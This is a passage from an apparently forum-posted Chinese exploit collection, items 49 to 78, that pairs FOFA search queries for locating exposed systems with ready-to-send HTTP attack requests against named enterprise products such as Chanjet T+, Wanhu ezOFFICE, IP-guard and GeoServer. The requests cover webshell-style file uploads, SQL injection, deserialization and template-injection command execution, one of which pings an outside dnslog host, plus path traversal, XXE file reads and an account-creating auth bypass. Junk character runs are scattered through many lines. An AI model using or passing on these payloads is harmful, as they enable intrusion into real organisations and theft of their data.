Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 @4 G9 i6 d' r8 n4 E' RAccept-Encoding: gzip, deflate
( Y5 y. K! ]: l, t5 e% D4 f' zContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
- k' q3 d# r/ V% U, T9 ^( j; T1 V------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
1 O0 w2 p* P/ I% P& b* ?4 ]Content-Disposition: form-data; name="upload"
upload
# [# X. M  [6 N0 c------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
' o1 D3 g  b7 @7 A& M
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
: I+ |. h4 Q6 v, ?& y9 y2 eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
' C6 [+ y/ P% ?4 f, f+ X- x8 K  E, T- UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, z3 }: \! ~% j( n2 ?% v% p2 qAccept-Encoding: gzip, deflate
1 q) Y* Z* W3 D$ FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

/ G9 A( a" T* i9 ]" C' m-----------------------------vvv3wdayqv3yppdxvn3w
% b, g  ?8 A: r$ g, {2 ?0 \7 OContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
4 e5 @: ?8 T) J. z, I. a% W-----------------------------vvv3wdayqv3yppdxvn3w
/ W  F" K8 i6 x) f: }) YContent-Disposition: form-data; name="upload"
) `4 B- {0 }% p/ n* @9 n  Y' j
upload
  u$ z% G1 ?1 j" N$ m  U3 S-----------------------------vvv3wdayqv3yppdxvn3w--
3 ?+ Z7 e+ I4 e5 y5 k4 Y4 x' j

* Q& a0 H) k1 w. f. f, g3 |! dhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
) I5 `! Y5 f" B& t6 G& ^) X0 F
0 z. \3 n4 l" H4 s) c50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
! N& j: N6 p( oPOST /course/filterRecords/ HTTP/1.1
; |0 i: J2 U. |) U* xHost: x.x.x.x
7 i* {! Y+ T) ?. k8 |1 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
" B. M0 [+ j- m# ?1 ~1 ?: \Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
. j) k' G4 O  c! d* _. m6 [Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
( M- q( o2 Q' s4 h6 N3 [* G
& p7 s& K  I. t
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% x8 [" O0 y! y9 g$ w& {  oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
0 a* ?% a' Y3 s& l5 |2 i) a: e' XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
: F- _/ A5 V/ i7 W( R

52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
+ _) u: h5 K1 W6 M" r" N3 fHost: 192.168.86.128:8097
5 K3 n2 n( x' [0 N5 RUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
1 w/ D! b' X& |) K6 O2 f" _6 S6 U2 yAccept-Language: en
Content-Type: application/x-www-form-urlencoded
8 A: Y0 Q9 l  b: b3 h! b0 F, wAccept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
- b4 N) f( f# F5 ]' f% _
. }) @0 \0 ^+ Q7 y$ u% ?7 p
53. 迪普 DPTech VPN Service 任意文件上传
& V( N0 Z7 p: }$ W( L( R# o" T3 mFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
! i0 o/ z4 F+ E( q5 s  B/ U

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
: A$ X( K% ?% c. n1 x* j"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
: V+ V- a  q6 G- ]4 W

完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
8 I% T; D3 G; ZUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
; v' i4 k8 `2 \: ?8 m; t7 z1 p "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
7 J9 b5 c& t' ]: b$ l: `9 t5 A1 `# B   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
# v+ Z/ m" R8 ]/ p' d  A2 `    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
8 o& n$ F1 ~" h: R# |" k+ e    }
  }
6 M) J- j3 E! H  }
}

1 W: u+ g7 r, o
7 W! J) K- ^: |3 j1 d第二步，访问如下url
4 K& b2 _, a$ {  H/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

6 O: Z/ ]! q3 I& N( p4 I5 T
4 Q: p+ p  X/ k! a' O6 `! E55. 畅捷通T+ getdecallusers信息泄露
* F1 S: B, X( Q8 \- B) Z6 cFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
' \8 f& f# F! B第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
# c) d% J& e; A* @, b4 ]2 h
% M; `3 @6 o5 `" d56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
. U# @0 v6 x2 o' M. w' kFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
- R4 Z" G, n3 i: V  u  SHost: x.x.x.x
: s& u3 Y& ^% U3 Q$ q+ M# PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
' u/ ^6 e) |" h0 @5 C
{
0 s# q- o2 c7 _0 l3 e8 G6 J  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' K% @% Y; L$ P2 i        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
, ?3 a6 l0 k3 S: V) _3 e           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
' }1 A3 D1 s3 A7 T4 @0 Q       }
    }
  }
* c' X* @7 z0 [; X" j, r}


57. 畅捷通T+ keyEdit.aspx SQL注入
* Z2 n. a% N1 c1 fFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
$ H7 S3 o* J. ?3 H, _9 iUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
: k, ^7 D& h% w. }2 CAccept-Charset: utf-8
' h# J) g4 u+ p' @Accept-Encoding: gzip, deflate
Connection: close

% T" I! m; }/ T# }7 D: T& r
# _% @* L5 E4 W8 v0 `  {58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
+ K+ _) ~; K2 N8 A" b2 ?GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
/ f! X: _5 T4 J& t4 O, a* R$ \. JHost: your-ip
. \, g$ x" ~0 Z& V& [User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
& m! w2 B8 `; |9 tAccept-Charset: utf-8
2 p; o9 H$ V7 Q! Q3 GAccept-Encoding: gzip, deflate
Connection: close

7 Y; N" A. s" r; b8 E+ W' r8 g
, s2 p1 _0 _2 l2 Y/ X) G/ {6 ]59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
! v/ e- m" S3 `- W+ zPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
  N3 Y- e" @% j4 b& iHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
7 L4 Y" y: M) f# P) W, pContent-Length: 1669
) O  k( i7 }: ?- q8 KAccept: */*
Accept-Language: en
# \$ V! W$ d% f3 N' {Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
( |4 L0 F- k, T9 d' W8 H1 x+ x
PAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
. G2 A* f' T6 FFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
; H, H# Q+ {5 }  NHost:
4 m: |: a% ?3 |4 Q9 ]0 |5 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: A' K8 ^* p. `. i& HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 y/ Q! [/ [. q6 }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! F6 V6 P/ W8 P- x: {) `8 SConnection: close


3 S7 `8 P2 l; `# K" l61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
$ k0 B6 A' C8 K* S4 U+ ]4 HFOFA: title="欢迎使用浙大恩特客户资源管理系统"
, x/ @4 p' t' G( ~$ J& uPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
, F: i7 h& s5 C" P5 UAccept-Language: en
Content-Type: application/x-www-form-urlencoded
* k! q4 p! G5 s# o0 W& l: Z
1 s* D0 X9 E1 O4 P2 O' m+ x8uxssX66eqrqtKObcVa0kid98xa


3 g, T/ ]0 Q, U62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
- ?2 a% N: b" |- U6 b) O+ oHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
( i1 r+ w( Y1 \4 D9 T( ^0 a2 L( @- UAccept: */*
! k" M: E. V7 \! t5 E% e% GAccept-Language: en
, k2 J5 ?) ^) f. w/ N" {, f  dAccept-Encoding: gzip

6 F% c9 B+ A' t* E4 P
访问

' j' r# y7 E3 DGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
& B  D! v3 z7 w* ?' |' `; ~3 x& aHost: x.x.x.x
  _& W0 g1 W) T' G

, @  x" @9 {! s, d5 Q6 C63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
/ k( ?3 D$ o5 p" a6 q6 }FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 C" s3 J9 O6 {1 L8 w3 c) ]7 m% DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- M! O0 M3 z, nContent-Type: application/x-www-form-urlencoded

* A1 l* `0 \- }& c+ e  i$ upath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
. R8 ]9 v6 H4 \/ S
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
0 v3 Q" J+ p6 v& F/ V# UFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
, g/ a5 m2 }8 T! H" F- P. R! nConnection: close
1 W4 s' Y7 i) X$ a8 o  u, ?Content-Length: 369
6 w/ g. [  O+ V8 _4 I4 mAccept: */*
2 D  c# Z4 W. E% [Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
: P. ]$ R; l  P& n; k& y! V
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
& h8 T# M2 ~; L- ~+ @: f<soap:Body>
; G8 ~/ W6 t& t) s6 [    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
6 {3 ]" e: @$ |% t6 i  </soap:Body>
2 c3 m6 ^: j. v- `& X</soap:Envelope>
& f4 V5 Q- B, o" F; c

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
% \  v5 n4 t; }8 @响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
) g: b2 w7 V' d0 s# DHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
5 ~/ L6 Y% r- ?3 m# Y$ JAccept-Encoding: gzip, deflate
Accept: */*
$ |# J( F) j  B# R" {* jConnection: close
Accept-Language: en
7 q: ?0 `: X" dContent-Length: 174
3 p4 i5 `) \2 a% [
3 y. L5 }* K% r( G0 O: soperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
5 Q6 D% \" y; [8 C8 ^7 y
$ d; _$ O1 Q; m% q% [, n1 Y
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
( ]1 r+ X2 t1 X5 D. ?
" s& X+ F4 h$ r7 sGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 k+ C! `/ z" F3 Q0 QConnection: close
Accept: */*
Accept-Language: en
1 d  Y$ z1 M5 B" F/ vAccept-Encoding: gzip


0 O9 x# _5 s2 ]# y- z第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
6 J$ U' u- h7 z
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
2 A; t, I& }- _* y+ g  |newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
. a# E# X7 S. c4 v0 BPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
/ q9 ]& |& Z' C; QUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
5 s. A, N8 N0 O+ a% z$ [% DAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
* l! G% ~5 |3 KConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
0 M- m# |+ S2 n- O. F( }Upgrade-Insecure-Requests: 1
) Y/ G" r2 H4 N6 w/ c% e; d
--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
4 y3 x  R* ~6 `% t) d/ ]
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
7 A$ O+ c) R2 Y

. O. E3 Q/ I6 u& Q文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

4 o& r* q5 }8 E68. 万户ezOFFICE wf_printnum.jsp SQL注入
+ }1 y8 k: q: ~- n3 C- j3 BFOFA：app="万户ezOFFICE协同管理平台"
. ]+ `0 {' m+ U$ O! Q- [9 pGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
# o, P& l: v7 n# p2 d1 z7 e. @Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
5 W5 ?* `( u7 [! K+ K2 n! QAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* D- B- M5 f+ W$ F+ ]; F( GConnection: close
* p! r  r3 T' k3 ^1 k

, z% Y$ d9 U5 M7 r2 D69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
6 ~9 y5 ^$ l7 Z  MHost: your-ip
! i* X* d, U; \9 TUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
8 `  \9 v3 h% h' @$ Q* m9 hAccept: */*
) z* [. P/ Y- L* \  I/ ~Connection: keep-alive
1 u2 W: P# P% w6 O+ J8 m& Z$ ^5 q
. x* g# a5 d" @5 t1 m. y& q
70. 万户ezEIP success 命令执行
( T8 r) `% ~0 n# c- I. @+ kFOFA：app="万户网络-ezEIP"
# `2 C5 o' J' V* sPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
5 p3 C5 l/ |! X3 y0 ?) F) ^4 DTYPE: C
5 U* Y0 q% M- t# `Content-Length: 16702

% R. g! e' ]. f3 z__VIEWSTATE=PAYLOAD
! g  C/ y( x9 h" P. h

" p) w" m, q" x. B# q71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
+ q4 G& U9 B1 ~. J% n6 [FOFA：body="PM2项目管理系统BS版增强工具.zip"
6 J3 U; j8 r6 ZGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
- a6 T) W3 p( F  ~0 KHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 T1 j7 K: n* \% @! j/ l: |6 f! EConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" f! J& C/ z: ]/ z0 sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* V' r. o+ ^: J9 H! \Upgrade-Insecure-Requests: 1

7 [( Z; f* w% q5 Q0 P
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
7 e; S% [; n8 H' Q9 cUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
: K  `/ D% F/ E, b" _( _( LConnection: close
Content-Length: 583
1 y* _; o' H* Y  E4 O8 L9 NContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

' W( P3 G3 |8 k7 b0 `S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
, i$ H5 S6 D3 z9 ?8 [, L$ Q+ `
7 D+ Q% g; W/ t: a0 i5 h$ a$ }
& j4 Y7 G* v  F3 {! j; P73. GeoServer wms远程代码执行
% H; w0 p# j3 M8 g% j7 d+ ]1 L2 ?FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
4 P9 C4 v, ]- k* B2 I  L" N8 d0 qHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
6 l/ `' W% h+ ?3 L6 K3 o1 o6 qConnection: close
Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD
( d# a2 q2 `- g' o
. c( K- f' N' s5 I6 H6 E" J
74. 致远M3-server 6_1sp1 反序列化RCE
" o5 R2 F0 b3 [% YFOFA：title="M3-Server"
PAYLOAD
! C- W! x* F- M  A( v
7 [9 ~4 S" o% ^9 X. p- W75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
% B2 a8 o+ R/ J* B. x) \4 C: MGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
  Q* f# K6 a/ }4 n$ zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
$ o( u5 x4 u+ r; R5 ~Accept-Language: en
; W' S5 `" y) }7 ]" {' N5 bAccept-Encoding: gzip
$ ~+ B9 r1 N) a) X

. p8 Y4 K2 @9 T; LGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
8 U  o/ d' g/ h  r+ ?6 }/ ^

8 I- v4 ?& _! _9 p76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
5 q& B+ p6 m$ J0 l7 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
, E1 V8 H( p* @Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 T7 @% M& `+ U- [: `' g: T2 o! cCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
9 X0 Y( P7 t$ j* f3 K. |7 I"command": "GetFZinfo",
5 Q% E, @" t2 f+ d2 v7 Z& ?  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
1 L# F, P9 j3 l1 |! p! l}
4 a0 v) n! I% ?# S$ a( l+ N* \
3 p, c  ]6 x) e; @* Z
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

# {5 b' U) {% p/ T2 Z/ l

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
7 {2 Q* Q+ ], k6 ~+ LFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
3 u0 k: L/ w) e, pHost: x.x.x.x
% B' m+ ], @$ ~8 r& ~7 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
0 [$ M  c) c: X  i* y  H8 cConnection: close
$ d( n- F+ t# [: R8 HContent-Length: 433
9 ~* R4 n& d$ K; x- W0 a) g( hAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! f( M8 {0 O6 C$ T* TContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
2 @! p& C% r+ L; MContent-Type: application/octet-stream
! ]& H/ I6 }4 \: }
7 V) H" e: f* Chello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
8 e/ y2 y* F  {( N6 }( J2 m% s

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
